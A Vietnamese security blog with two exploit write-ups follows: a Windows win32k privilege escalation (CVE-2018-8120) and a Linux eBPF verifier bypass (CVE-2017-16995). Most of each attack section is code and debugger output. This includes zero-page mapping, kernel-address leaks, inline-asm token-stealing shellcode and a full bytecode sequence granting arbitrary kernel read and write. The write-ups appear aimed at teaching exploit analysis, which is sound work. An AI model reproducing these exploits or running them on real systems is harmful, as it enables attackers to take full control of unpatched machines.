Thứ Năm, 25 tháng 4, 2019

Phân tích CVE-2018-8120

# Phần 1: Giới thiệu về lỗ hổng
- Là một lỗi leo quyền được tìm ra bằng cách diff code giữa các bản cập nhật với nhau. Tác giả phát hiện ra 1 chỗ kiểm tra giá trị null đầu vào trong module *win32k.sys*
```cpp
if ( winSta && (pklFirst = winSta->spklList) != 0 ){
......
}
```

- A window station object là một đối tượng an toàn, chứa một bảng tạm, bảng nguyên tử và một hoặc nhiều đối tượng  desktop objects. Mỗi window station object tồn tại trong kernel có cấu trúc **tagWINDOWSTATION**
```cpp
kd> dt win32k!tagWINDOWSTATION
   +0x000 dwSessionId      : Uint4B
   +0x004 rpwinstaNext     : Ptr32 tagWINDOWSTATION
   +0x008 rpdeskList       : Ptr32 tagDESKTOP
   +0x00c pTerm            : Ptr32 tagTERMINAL
   +0x010 dwWSF_Flags      : Uint4B
   +0x014 spklList         : Ptr32 tagKL
   +0x018 ptiClipLock      : Ptr32 tagTHREADINFO
   +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
   +0x020 spwndClipOpen    : Ptr32 tagWND
   +0x024 spwndClipViewer  : Ptr32 tagWND
   +0x028 spwndClipOwner   : Ptr32 tagWND
   +0x02c pClipBase        : Ptr32 tagCLIP
   +0x030 cNumClipFormats  : Uint4B
   +0x034 iClipSerialNumber : Uint4B
   +0x038 iClipSequenceNumber : Uint4B
   +0x03c spwndClipboardListener : Ptr32 tagWND
   +0x040 pGlobalAtomTable : Ptr32 Void
   +0x044 luidEndSession   : _LUID
   +0x04c luidUser         : _LUID
   +0x054 psidUser         : Ptr32 Void
```
*Definition of structure tagWINDOWSTATION*

- Trường ```spklList```  là một con trỏ tới nút đầu tiên của associated keyboard layout ```tagKL``` object linked list có cấu trúc như sau:
```cpp
kd> dt win32k!tagKL
   +0x000 head             : _HEAD
   +0x008 pklNext          : Ptr32 tagKL
   +0x00c pklPrev          : Ptr32 tagKL
   +0x010 dwKL_Flags       : Uint4B
   +0x014 hkl              : Ptr32 HKL__
   +0x018 spkf             : Ptr32 tagKBDFILE
   +0x01c spkfPrimary      : Ptr32 tagKBDFILE
   +0x020 dwFontSigs       : Uint4B
   +0x024 iBaseCharset     : Uint4B
   +0x028 CodePage         : Uint2B
   +0x02a wchDiacritic     : Wchar
   +0x02c piiex            : Ptr32 tagIMEINFOEX
   +0x030 uNumTbl          : Uint4B
   +0x034 pspkfExtra       : Ptr32 Ptr32 tagKBDFILE
   +0x038 dwLastKbdType    : Uint4B
   +0x03c dwLastKbdSubType : Uint4B
   +0x040 dwKLID           : Uint4B
```
*Definition of structure tagKL*

- Trường ```piiex``` của  structure ```tagKL``` trỏ tới associated extended IME information object. Trường này sẽ được sẽ dụng trong đoạn khai thác.

# Phần 2: Phân tích lỗi
- Để gọi để hãm bị lỗi thì sử dụng systemcall 0x1226 và hàm **NtUserSetImeInfoEx** sẽ được gọi lên. Sau đó hàm là hàm **SetImeInfoEx**.

## Giới thiệu 2 hàm chính

### Hàm **NtUserSetImeInfoEx**
```cpp
if ( *(_BYTE *)gpsi & 4 )
{
  ms_exc.registration.TryLevel = 0;
  v2 = imeInfoEx;
  if ( (unsigned int)imeInfoEx >= W32UserProbeAddress )
    v2 = (tagIMEINFOEX *)W32UserProbeAddress;
  v3 = (char)v2->hkl;
  qmemcpy(&v6, imeInfoEx, 0x15Cu);
  ms_exc.registration.TryLevel = -2;
  v4 = _GetProcessWindowStation(0);
  bReturn = SetImeInfoEx(v4, &v6);
}
```
- Đầu vào của hàm là dạng **tagIMEINFOEX**
```cpp
kd> dt win32k!tagIMEINFOEX
+0x000 hkl              : Ptr32 HKL__
+0x004 ImeInfo          : tagIMEINFO
+0x020 wszUIClass       : [16] Wchar
+0x040 fdwInitConvMode  : Uint4B
+0x044 fInitOpen        : Int4B
+0x048 fLoadFlag        : Int4B
+0x04c dwProdVersion    : Uint4B
+0x050 dwImeWinVersion  : Uint4B
+0x054 wszImeDescription : [50] Wchar
+0x0b8 wszImeFile       : [80] Wchar
+0x158 fSysWow64Only    : Pos 0, 1 Bit
+0x158 fCUASLayer       : Pos 1, 1 Bit
```
- Đầu tiên Window Station hiện tại sẽ được lấy thông qua hàm **_GetProcessWindowStation** sau đó truyền vào cho hàm **SetImeInfoEx** và bắt đầu lỗi.

### Hàm **SetImeInfoEx**
```cpp
BOOL __stdcall SetImeInfoEx(tagWINDOWSTATION *winSta, tagIMEINFOEX *imeInfoEx)
{
  [...]
  if ( winSta ) <------ đoạn code chưa được sửa
  {
    pkl = winSta->spklList; <------ đoạn bắt đầu lỗi
    while ( pkl->hkl != imeInfoEx->hkl )
    {
      pkl = pkl->pklNext;
      if ( pkl == winSta->spklList )
        return 0;
    }
    piiex = pkl->piiex;
    if ( !piiex )
      return 0;
    if ( !piiex->fLoadFlag )
      qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
    bReturn = 1;
  }
  return bReturn;
}
```
- Lỗi bắt đầu phát sinh tại dòng thứ 6 khi **winSta->spklList = null** nó dẫn đến **pkl** nhận giá trị 0. Đây là lỗi rất nguy hiểm và dẫn đến toàn bộ quá trình khai thác phía sau.

## Phân tích
- Tuy tham số đầu vào của hàm **NtUserSetImeInfoEx** hoàn toàn do phía user gửi lên. Nhưng ta chỉ có thể thông qua một số api có sẵn. Ví dụ như ta phải sử dụng 2 hàm **CreateWindowStationW** **SetProcessWindowStation** để tạo 1 windows station để cho **NtUserSetImeInfoEx** có thể nhận được. Nên ta hoàn toàn không thể chỉnh sửa gì trong này để thao tác tùy ý được.
- Nhưng vấn đề ở đây là lỗi null làm cho chường **pkl** = 0. Nghĩa là trường **pkl->hkl** có địa chỉ = 0 + [offset của hkl] --> Nếu ta tạo một vùng nhớ có địa chỉ bắt đầu từ 0 bằng hàm **NtAllocateVirtualMemory** thì các giá trị trong các đoạn so sánh và copy sẽ do ta chỉnh sửa dẫn đến hoàn toàn có thể điều khiển được các đoạn lệnh phía sau. Đồng nghĩa với việc ta có thể thay đổi được giá trị của **piiex** và **piiex->fLoadFlag** do nằm trong **pkl** nên ta sẽ có quyền ghi tùy ý.

# Khai thác
## Đạt tới đoạn code lỗi
### Bước 1: Tạo windows station và trường spkList là null
```cpp
SECURITY_ATTRIBUTES sa  = { 0 };
sa.nLength              = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle       = TRUE;
hWinStat = CreateWindowStationW(NULL, CWF_CREATE_ONLY, WINSTA_ALL_ACCESS, &sa);
SetProcessWindowStation(hWinStat);
```
- Kết quả
```cpp
kd> dt win32k!tagWINDOWSTATION 85dfefa8
   +0x000 dwSessionId      : 1
   +0x004 rpwinstaNext     : (null)
   +0x008 rpdeskList       : (null)
   +0x00c pTerm            : 0x94b0eb80 tagTERMINAL
   +0x010 dwWSF_Flags      : 4
   +0x014 spklList         : (null)
   [...]
```

### Bước 2: tạo system call tới hàm **NtUserSetImeInfoEx** và gọi tới nó với tham số có dạng 1 **tagIMEINFOEX**
```cpp
BOOL __declspec(naked)
xxNtUserSetImeInfoEx(tagIMEINFOEX *imeInfoEx)
{
    __asm { mov eax, 1226h };
    __asm { lea edx, [esp + 4] };
    __asm { int 2eh };
    __asm { ret };
}
```
```cpp
tagIMEINFOEX iiFaked  = { 0 };
bReturn = xxNtUserSetImeInfoEx(&iiFaked);
```

- Kết quả là trường **spklList** = null và sử dụng vùng địa chỉ bắt đầu từ 0 để tính toán
```cpp
Access violation - code c0000005 (!!! second chance !!!)
win32k!SetImeInfoEx+0x17:
9490007c 395014          cmp     dword ptr [eax+14h],edx
kd> r eax
eax=00000000
kd> k
# ChildEBP RetAddr
00 98a1ba90 9490003d win32k!SetImeInfoEx+0x17
01 98a1bc28 83e471ea win32k!NtUserSetImeInfoEx+0x65
02 98a1bc28 0016f2eb nt!KiFastCallEntry+0x12a
03 3378fbf4 0016f4c5 TempDemo!xxNtUserSetImeInfoEx+0xb
04 3378fdfc 0016f1ca TempDemo!xxTrackExploitEx+0x155
```

## Ghi tùy ý
- Như đã được phân tích ở trên thì bây giờ ta sẽ khởi tạo một vùng nhớ zero page bằng hàm ```NtAllocateVirtualMemory```
```cpp
PVOID  MemAddr  = (PVOID)1;
SIZE_T MemSize  = 0x1000;
NtAllocateVirtualMemory(GetCurrentProcess(),
    &MemAddr,
    0,
    &MemSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE);
ZeroMemory(MemAddr, MemSize);
```
- Ta sử dụng hàm ```qmemcpy``` để ghi tùy ý. Với biến ```piiex``` ta có thể thay đổi được do lỗi null poiter. Ta sẽ ghi giá trị vào các vùng này với các offset tương ứng với các biến ta muốn thay đổi
```cpp
    if ( !piiex->fLoadFlag )
      qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
```

```cpp
DWORD *klFaked = (DWORD *)0;
klFaked[0x02] = (DWORD)klFaked;     // tagKL->pklNext
klFaked[0x03] = (DWORD)klFaked;     // tagKL->pklPrev
klFaked[0x05] = (DWORD)iiFaked.hkl; // tagKL->hkl
klFaked[0x0B] = (DWORD)0xCCCCCCCC;  // tagKL->piiex
```
- Tới đây thì khi thực thi thì sẽ bị crash do địa chỉ 0xCCCCCCCC chưa được cấp phát
<image src="https://github.com/KamasuOri/Research/blob/master/CVE-2018-8120/imagedebug/1.PNG">

## Thực thi tùy ý
- Ý tưởng là  ghi đè vào trường con trỏ ```lpfnWndProc``` của target window ```tagWND``` object.
- Cách thực hiện như sau:

### Bước 1: tạo một ``` window object``` mới, leak địa chỉ kernel của nó (được nói ở phần sau)  sửa vào trường ```piiex``` và chạy đến đoạn ```qmemcpy```
- Một chú ý là để có thể qua được hàm kiểm tra ```if ( !piiex->fLoadFlag )``` thì ta ```tagWND``` mà ta tạo phải có offset 0x48 có giá trị bằng 0
<image src="https://github.com/KamasuOri/Research/blob/master/CVE-2018-8120/imagedebug/2.PNG">
Để làm được điều này thì ta dùng tham số ```WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_POPUP``` cho hàm tạo windows object
```cpp
WNDCLASSEXW wc    = { 0 };
wc.cbSize         = sizeof(WNDCLASSEXW);
wc.lpfnWndProc    = DefWindowProcW;
wc.cbWndExtra     = 0x100;
wc.hInstance      = GetModuleHandleA(NULL);
wc.lpszMenuName   = NULL;
wc.lpszClassName  = L"WNDCLASSHUNT";
RegisterClassExW(&wc);
hwndHunt = CreateWindowExW(WS_EX_LEFT, L"WNDCLASSHUNT",
    NULL,
    WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_POPUP,
    0,
    0,
    0,
    0,
    NULL,
    NULL,
    GetModuleHandleA(NULL),
    NULL);
```

### bước 2: chuẩn bị nguồn ```tagIMEINFOEX ``` để ghi vào ```tagWND``` ở trên
- Một lưu ý quan trọng là ta phải tạo ```tagIMEINFOEX ``` sao cho giống một ```tagWND``` chỉ sửa 2 chỗ. Đầu tiên đó là flag bit ```bServerSideWindowProc ``` (xác định xem message procedure có được thực thi trong ngữ cảnh kernel không). Thứ 2 là sửa lpfnWndProc tới đoạn mã độc
```cpp
CopyMemory(&iiFaked, (PBYTE)head, sizeof(tagIMEINFOEX));
*(DWORD*)((PBYTE)& iiFaked + 0x14) |= (DWORD)0x40000;                   //->bServerSideWindowProc
*(DWORD*)((PBYTE)& iiFaked + 0x60) = (DWORD)pvShellCode->pfnWindProc;   //->lpfnWndProc
```

## Leak giá trị
- Trong ```user32``` module, system cung cấp hàm ẩn ```HMValidateHandle``` để lấy dữ liệu của user objects và không dùng trực tiếp được. Hàm này được một hàm duy nhất gọi tới là hàm ```IsMenu```. Vậy ta có thể tính toán địa chỉ của hàm ```HMValidateHandle``` từ hàm ```IsMenu```
```cpp
.text:76D76F0E 8B FF          mov     edi, edi
.text:76D76F10 55             push    ebp
.text:76D76F11 8B EC          mov     ebp, esp
.text:76D76F13 8B 4D 08       mov     ecx, [ebp+hMenu]
.text:76D76F16 B2 02          mov     dl, 2
.text:76D76F18 E8 73 5B FE FF call    @HMValidateHandle@8 ; HMValidateHandle(x,x)
.text:76D76F1D F7 D8          neg     eax
.text:76D76F1F 1B C0          sbb     eax, eax
.text:76D76F21 F7 D8          neg     eax
.text:76D76F23 5D             pop     ebp
.text:76D76F24 C2 04 00       retn    4
```
*Hàm ismenu*
- Ta chỉ cần lọc đến đoạn nào có byte B2 02 e8:
```cpp
xxGetHMValidateHandle(VOID)
{
HMODULE hModule = LoadLibraryA("USER32.DLL");
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
PBYTE Address = NULL;
for (INT i = 0; i < 0x30; i++)
{
if (*(WORD*)(i + pfnIsMenu) != 0x02B2)
{
continue;
}
i += 2;
if (*(BYTE*)(i + pfnIsMenu) != 0xE8)
{
continue;
}
Address = *(DWORD*)(i + pfnIsMenu + 1) + pfnIsMenu;
Address = Address + i + 5;
pfnHMValidateHandle = (PVOID(__fastcall*)(HANDLE, BYTE))Address;
break;
}
}
```

```cpp
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hwndHunt);
```
- Khí lấy kernel address của carrier window ```tagWND``` bởi ```HMValidateHandle``` cấu trúc của nó dạng ```THRDESKHEAD``` member structure object:
```cpp
kd> dt win32k!_THRDESKHEAD
   +0x000 h                : Ptr32 Void
   +0x004 cLockObj         : Uint4B
   +0x008 pti              : Ptr32 tagTHREADINFO
   +0x00c rpdesk           : Ptr32 tagDESKTOP
   +0x010 pSelf            : Ptr32 UChar
```
- Trường ```pSelf``` trỏ tới kernel address nên ta sẽ lấy giá trị này để thế vào vị trí của ```piiex```
```cpp
DWORD* klFaked = (DWORD*)MemAddr;
klFaked[0x02] = (DWORD)klFaked;     // tagKL->pklNext
klFaked[0x03] = (DWORD)klFaked;     // tagKL->pklPrev
klFaked[0x05] = (DWORD)iiFaked.hkl; // tagKL->hkl
klFaked[0x0B] = (DWORD)head->pSelf;    // tagKL->piiex    <<<<<-----
```
- Tới bước này khi chạy chương trình thì ta sẽ có một windows object chưa mã độc ở trường ```lpfnWndProc``` bây giờ ta chỉ cần gửi một tin nhắn vào windows object đó thì mã độc sẽ được thực thi.

## Leo quyền
- Bây giờ ta cần thiết kế 1 đoạn mã để có thể thực hiện leo quyền. Về cơ bản thì đoạn mã sẽ thực hiện các bước sau

### Bước 1: khởi tạo, lưu giá trị ban đầu
```cpp
__asm push    ebp;
__asm mov     ebp, esp;
__asm mov     eax, dword ptr[ebp + 0Ch];
__asm cmp     eax, 9F9Fh;
__asm jne     LocRETURN;
__asm mov     ax, cs;
__asm cmp     ax, 1Bh;
__asm je      LocRETURN;
__asm cld;
__asm pushad;
__asm call    $ + 5;
__asm pop     edx;
__asm sub     edx, 35h;
```


### Bước 2: tìm ``` EPROCESS``` của tiến trình hiện tại
```cpp
LocGetEPROCESS:
__asm mov     ecx, dword ptr[ebp + 8];
__asm mov     ecx, dword ptr[ecx + 8];
__asm mov     ebx, dword ptr[edx + 08h];
__asm mov     ecx, dword ptr[ebx + ecx];
__asm mov     ecx, dword ptr[ecx];
__asm mov     ebx, dword ptr[edx + 0Ch];
__asm mov     eax, dword ptr[edx + 4];
__asm push    ecx;
LocForCurrentPROCESS:
__asm cmp     dword ptr[ebx + ecx - 4], eax;
__asm je      LocFoundCURRENT;
__asm mov     ecx, dword ptr[ebx + ecx];
__asm sub     ecx, ebx;
__asm jmp     LocForCurrentPROCESS;
LocFoundCURRENT:
__asm mov     edi, ecx;
__asm pop     ecx;
```


### Bước 3: tìm ``` EPROCESS``` của tiến trình có quyền cao hơn và ghi đè trường ```token``` để leo quyền
```cpp
LocForSystemPROCESS:
__asm cmp     dword ptr[ebx + ecx - 4], 4;
__asm je      LocFoundSYSTEM;
__asm mov     ecx, dword ptr[ebx + ecx];
__asm sub     ecx, ebx;
__asm jmp     LocForSystemPROCESS;
LocFoundSYSTEM:
__asm mov     esi, ecx;
__asm mov     eax, dword ptr[edx + 10h];
__asm add     esi, eax;
__asm add     edi, eax;
__asm lods    dword ptr[esi];
__asm stos    dword ptr es : [edi] ;
__asm and eax, 0FFFFFFF8h;
__asm add     dword ptr[eax - 18h], 2;
__asm mov     dword ptr[edx + 14h], 1;
__asm popad;
__asm xor eax, eax;
```

### Bước 4: gọi một tiến trình cmn lên và kiểm tra quyền
- <image src="https://github.com/KamasuOri/Research/blob/master/CVE-2018-8120/imagedebug/3.PNG">

# Tham khảo
- Payload [link](https://github.com/KamasuOri/Research/blob/master/CVE-2018-8120/Source.cpp)
- Window Stations [link](https://docs.microsoft.com/vi-vn/windows/desktop/winstation/window-stations)
- Phân tích CVE-2018-8120 [link](https://xiaodaozhi.com/exploit/156.html)
- Shellcode [link](https://xiaodaozhi.com/exploit/132.html)
- Leak kernel address [link](https://xiaodaozhi.com/exploit/117.html)

Thứ Bảy, 30 tháng 3, 2019

Phân tích CVE-2017-16995

Phân tích CVE-2017-16995


Phần 1: Cơ bản về eBPF

  • eBPF extension Berkeley Packet Filter có chức năng để lọc các gói tin nghĩa là khi một gói tin đến thì eBPF sẽ áp dụng các luật đã có sẵn để thực hiện các hành vi đúng theo ý của người quản trị. Ta có thể tự định nghĩa các instruction và giao tiếp với eBPF thông qua các API có sẵn. Để định nghĩa thì phải dùng eBPF program và có cấu trúc và các tập thanh ghi riêng.
    • xem thêm về các API của eBPF link
    • eBPF program gồm 10 thanh ghi R0-R10 trong đó R10 là frame pointer read-only.
    • Cấu trúc của bpf instruction:
    struct bpf_insn {
    __u8    code;       /* opcode */
    __u8    dst_reg:4;  /* dest register */
    __u8    src_reg:4;  /* source register */
    __s16   off;        /* signed offset */
    __s32   imm;        /* signed immediate constant */
    };
    • Ví dụ "\xb4\x09\x00\x00\xff\xff\xff\xff"
      • code: b4, dst_reg: 9, src_reg: 0, off: 0, imm: ffffffff
      • Trường code dùng để định nghĩa instruction đó dùng để làm gì (ví dụ b4 = mov)

Phần 2: Phân tích lỗi

  • Ta cần để ý tới 2 hàm quan trọng đó là do_check (kernel/bpf/verifier.c) và bpf_prog_run (kernel/bpf/verifier.c)
    • do_check dùng để kiểm tra tính hợp lệ của các instruction. Nó đảm bảo khi các instruction thực thi thì sẽ không ảnh hưởng tơi vùng khác hoặc làm các hành động có nguy hiểm cho hệ thống
    • bpf_prog_run dùng để thực thi các instruction được truyền vào

Phân tích đoạn đầu của mã khai thác

  • các hàm do_check và bpf_prog_run sẽ được debug theo đầu nào này.
  • Để đơn giản thì ta sẽ phân tích đoạn instruction ta truyền vào cho eBPF.
    • 3 dòng đầu tiên. Mục đích là để bypass
    "\xb4\x09\x00\x00\xff\xff\xff\xff"
    "\x55\x09\x02\x00\xff\xff\xff\xff"
    "\xb7\x00\x00\x00\x00\x00\x00\x00"
    
    • Nội dung của 3 đoạn instruction có nghĩa là:
    {
     r9 = u32(-1);
     if(r9==0xffffff){
      exit;
     }
     ........ (some malicious code)
    }

Hàm do_check

  • Hàm do_check sẽ gọi tới hàm check_cond_jmp_op để kiểm chọn nhánh sẽ thực thi
    else if (class == BPF_JMP) {
            u8 opcode = BPF_OP(insn->code);
            if (opcode == BPF_CALL) {
                   //some code
            }
            else if (opcode == BPF_JA) {
                   //some code
            }
            else if (opcode == BPF_EXIT) {
                   //some code
            }else {
                   err = check_cond_jmp_op(env, insn, &insn_idx);
                   if (err)
                            return err;
            }
    }
  • Trong check_cond_jmp_op
    if (BPF_SRC(insn->code) == BPF_K &&
                (opcode == BPF_JEQ || opcode == BPF_JNE) &&
                regs[insn->dst_reg].type == CONST_IMM &&
                regs[insn->dst_reg].imm == insn->imm) {
                    if (opcode == BPF_JEQ) {
                            /* if (imm == imm) goto pc+off;
                             * only follow the goto, ignore fall-through
                             */
                            *insn_idx += insn->off;
                            return 0;
                    } else {
                            /* if (imm != imm) goto pc+off;
                             * only follow fall-through branch, since
                 * that's where the program will go
                 */
                return 0;
            }
        }
    • Tại dòng regs[insn->dst_reg].imm == insn->imm) thì nó sẽ kiểm tra 2 signed integer cả 2 đều kiểu là U32. Nghĩa là sẽ so sánh 0xffffffff và 0xffffffff.
    Breakpoint 3, 0xffffffff8111318e in check_cond_jmp_op (insn_idx=<optimized out>, insn=<optimized out>, env=<optimized out>) at kernel/bpf/verifier.c:1219
    1219            regs[insn->dst_reg].type == CONST_IMM &&
    => 0xffffffff8111318e <bpf_check+7918>:    cmp    %ecx,0x8(%rax)
       0xffffffff81113191 <bpf_check+7921>:   jne    0xffffffff81112cbc <bpf_check+6684>
       0xffffffff81113197 <bpf_check+7927>:   cmpb   $0x10,-0x78(%rbp)
       0xffffffff8111319b <bpf_check+7931>:   jne    0xffffffff81111edf <bpf_check+3135>
    ecx            0xffffffff
    $3 = 0xffff88007b9e70a8
    0xffff88007b9e70a8: 0x0000000000000008  0x00000000ffffffff
    • Vấn đề ở đây là nó luôn tin phép so sánh này đúng và sẽ không kiểm tra các instruction nằm đằng sau. Ta sẽ nói tiếp ở phần sau

Hàm bpf_prog_run

  • Hàm bị lỗi:
    #define DST regs[insn->dst_reg]
    #define SRC regs[insn->src_reg]
    #define FP  regs[BPF_REG_FP]
    #define ARG1    regs[BPF_REG_ARG1]
    #define CTX regs[BPF_REG_CTX]
    #define IMM insn->imm
    //definition of regs
    u64 regs[MAX_BPF_REG], tmp;
    //jump branch for BPF_ALU|BPF_MOV|BPF_K
    ALU_MOV_K:
     DST = (u32) IMM;
     CONT;
    //jump branch for BPF_JMP|BPF_JNE|BPF_K
    JMP_JNE_K:
    if (DST != IMM) {
        insn += insn->off;
        CONT_JMP;
    }
    CONT;
    • Ta có thể thấy rằng DST có dạng u64 nên khi ép kiểu xuống thì giá trị không phải là 0xffffffff mà nó sẽ có giá trị là 0xffffffffffffffff nhưng imm = 0xffffffff nên điều kiện kiểm tra sẽ bị sai dẫn đến nhánh khác được thực thi thay vì nhánh mà hàn do_check nghĩ
    • Đặt breakpoint tại DST = (u32) IMM;
    0xffffffff81171b6a <__bpf_prog_run+1562>    and    eax, 0xf
    0xffffffff81171b6d <__bpf_prog_run+1565>    mov    qword ptr [rbp + rax*8 - 0x278], rdi
    0xffffffff81171b75 <__bpf_prog_run+1573>    movzx  eax, byte ptr [rbx]
    0xffffffff81171b78 <__bpf_prog_run+1576>    jmp    qword ptr [r12 + rax*8]
    ↓
    0xffffffff81171e3b <__bpf_prog_run+2283>    movzx  eax, byte ptr [rbx + 1]
    ► 0xffffffff81171e3f <__bpf_prog_run+2287>    movsxd rdx, dword ptr [rbx + 4]
    pwndbg> x/gx $rbx+4
    0xffffc90000461034:     0x000000b7ffffffff
    • sau lệnh này thì rdx có giá trị là 0xffffffffffffffff thay vì 0xffffffff
    0xffffffff81171b6d <__bpf_prog_run+1565>    mov    qword ptr [rbp + rax*8 - 0x278], rdi
    0xffffffff81171b75 <__bpf_prog_run+1573>    movzx  eax, byte ptr [rbx]
    0xffffffff81171b78 <__bpf_prog_run+1576>    jmp    qword ptr [r12 + rax*8]
    ↓
    0xffffffff81171e3b <__bpf_prog_run+2283>    movzx  eax, byte ptr [rbx + 1]
    0xffffffff81171e3f <__bpf_prog_run+2287>    movsxd rdx, dword ptr [rbx + 4]
    ► 0xffffffff81171e43 <__bpf_prog_run+2291>    and    eax, 0xf
    0xffffffff81171e46 <__bpf_prog_run+2294>    cmp    qword ptr [rbp + rax*8 - 0x278], rdx
    0xffffffff81171e4e <__bpf_prog_run+2302>    je     __bpf_prog_run+5036 <0xffffffff811728fc>
    0xffffffff81171e54 <__bpf_prog_run+2308>    movsx  rax, word ptr [rbx + 2]
    0xffffffff81171e59 <__bpf_prog_run+2313>    lea    rbx, [rbx + rax*8 + 8]
    0xffffffff81171e5e <__bpf_prog_run+2318>    movzx  eax, byte ptr [rbx]
    pwndbg> i r rdx
    rdx            0xffffffffffffffff       -1
    • Và đây là khi so sánh if (DST != IMM)
    0xffffffff81171e43 <__bpf_prog_run+2291>    and    eax, 0xf0xffffffff81171e46 <__bpf_prog_run+2294>    cmp    qword ptr [rbp + rax*8 - 0x278], rdx
    0xffffffff81171e4e <__bpf_prog_run+2302>    je     __bpf_prog_run+5036 <0xffffffff811728fc>
    0xffffffff81171e54 <__bpf_prog_run+2308>    movsx  rax, word ptr [rbx + 2]
    0xffffffff81171e59 <__bpf_prog_run+2313>    lea    rbx, [rbx + rax*8 + 8]
    0xffffffff81171e5e <__bpf_prog_run+2318>    movzx  eax, byte ptr [rbx]
    0xffffffff81171e61 <__bpf_prog_run+2321>    jmp    qword ptr [r12 + rax*8]
    pwndbg> i r rdx
    rdx            0xffffffffffffffff       -1
    pwndbg> x/gx $rbp + $rax*8 - 0x278
    0xffff8800165dba78:     0x00000000ffffffff
    • Chứng tỏ rằng đoạn kiểm tra là sai.

Tổng kết vấn đề

  • Khi ta load kịch bản instruction như trên, hàm bpf_check kiểm tra thì nó thấy nhánh so sánh là đúng và hiểu là so sáng 0xffffffff với 0xffffffff nên chương trình chạy đến đoạn exit và thoát ra. Nên không kiểm tra đoạn code phía sau.
  • Nhưng khi hàm bpf_prog_run chạy lên và đoạn so sánh lại bị hiểu là 0xffffffff vs 0xffffffffffffffff nên nó sẽ nhận là sai và xuống nhánh dưới và thực thi mã độc
  • Thật vậy. Đây là đoạn bpf log được in ra sau khi chạy thành công. Tuy các nhánh phía dưới được thực thi nhưng chỉ được ghi nhận 4 instruction đầu tiên
    0: (b4) (u32) r9 = (u32) -1
    1: (55) if r9 != 0xffffffff goto pc+2
    2: (b7) r0 = 0
    3: (95) exit
    
  • Như vậy ta có thể thực hiện các instruction độc hại và dẫn đến có toàn quyền đọc ghi với hệ thống

Phần 3: Khai thác

Tạo tập instruction

  • Tập instruction sẽ gửi lên kernel
    "\xb4\x09\x00\x00\xff\xff\xff\xff"
    "\x55\x09\x02\x00\xff\xff\xff\xff"
    "\xb7\x00\x00\x00\x00\x00\x00\x00"
    "\x95\x00\x00\x00\x00\x00\x00\x00"
    "\x18\x19\x00\x00\x03\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\xbf\x91\x00\x00\x00\x00\x00\x00"
    "\xbf\xa2\x00\x00\x00\x00\x00\x00"
    "\x07\x02\x00\x00\xfc\xff\xff\xff"
    "\x62\x0a\xfc\xff\x00\x00\x00\x00"
    "\x85\x00\x00\x00\x01\x00\x00\x00"
    "\x55\x00\x01\x00\x00\x00\x00\x00"
    "\x95\x00\x00\x00\x00\x00\x00\x00"
    "\x79\x06\x00\x00\x00\x00\x00\x00"
    "\xbf\x91\x00\x00\x00\x00\x00\x00"
    "\xbf\xa2\x00\x00\x00\x00\x00\x00"
    "\x07\x02\x00\x00\xfc\xff\xff\xff"
    "\x62\x0a\xfc\xff\x01\x00\x00\x00"
    "\x85\x00\x00\x00\x01\x00\x00\x00"
    "\x55\x00\x01\x00\x00\x00\x00\x00"
    "\x95\x00\x00\x00\x00\x00\x00\x00"
    "\x79\x07\x00\x00\x00\x00\x00\x00"
    "\xbf\x91\x00\x00\x00\x00\x00\x00"
    "\xbf\xa2\x00\x00\x00\x00\x00\x00"
    "\x07\x02\x00\x00\xfc\xff\xff\xff"
    "\x62\x0a\xfc\xff\x02\x00\x00\x00"
    "\x85\x00\x00\x00\x01\x00\x00\x00"
    "\x55\x00\x01\x00\x00\x00\x00\x00"
    "\x95\x00\x00\x00\x00\x00\x00\x00"
    "\x79\x08\x00\x00\x00\x00\x00\x00"
    "\xbf\x02\x00\x00\x00\x00\x00\x00"
    "\xb7\x00\x00\x00\x00\x00\x00\x00"
    "\x55\x06\x03\x00\x00\x00\x00\x00"
    "\x79\x73\x00\x00\x00\x00\x00\x00"
    "\x7b\x32\x00\x00\x00\x00\x00\x00"
    "\x95\x00\x00\x00\x00\x00\x00\x00"
    "\x55\x06\x02\x00\x01\x00\x00\x00"
    "\x7b\xa2\x00\x00\x00\x00\x00\x00"
    "\x95\x00\x00\x00\x00\x00\x00\x00"
    "\x7b\x87\x00\x00\x00\x00\x00\x00"
    "\x95\x00\x00\x00\x00\x00\x00\x00";
  • Ý nghĩa.
    • 3 dòng đầu dùng để bypass hàm do_check đã được nhắc phía trên.
    "\xb4\x09\x00\x00\xff\xff\xff\xff"
    "\x55\x09\x02\x00\xff\xff\xff\xff"
    "\xb7\x00\x00\x00\x00\x00\x00\x00"
    • Dưới đây là mã giả của instruction từ dòng 4 trở xuống.
    R1 = bpf_map;
    R2 = R10;
    R2 = R2 - 4;
    *(R10-4) = 0;
    R0 = call bpf_map_lookup_elem(R1, R2); // R1 is pointer to bpf_map, *R2 is 0
    if(R0 == 0)
         JUMP_EXIT
    R6 = *R0
    R1 = bpf_map;
    R2 = R10;
    R2 = R2 - 4;
    *(R10-4) = 1;
    R0 = call bpf_map_lookup_elem(R1, R2); // R1 is pointer to bpf_map, *R2 is 1
    if(R0 == 0)
         JUMP_EXIT
    R7 = *R0
    R1 = bpf_map;
    R2 = R10;
    R2 = R2 - 4;
    *(R10-4) = 2;
    R0 = call bpf_map_lookup_elem(R1, R2); // R1 is pointer to bpf_map, *R2 is 2
    if(R0 == 0)
         JUMP_EXIT
    R8 = *R0
    R2 = R0;
    R0 = 0;
    if(R6 == 0)
    {
          R3 = *(R7);
          *R2 = R3;
    }
    else if(R6 == 1)
    {
          *R2 = R10;
    }
    else if(R6 == 2)
    {
          *(R7) = R8;
    }
    • Mục đích là cho ta có quyền đọc và ghi tùy ý tới mọi địa chỉ. Tất cả các giá trị này để là ở phía user truyền lên qua BPF_MAP_UPDATE_ELEM và có thể đọc được nhờ BPF_MAP_LOOKUP_ELEM Tham khảo
      • Bây giờ thứ ta cần nhớ là R6 R7 R8 R9 đều là do user gửi lên.
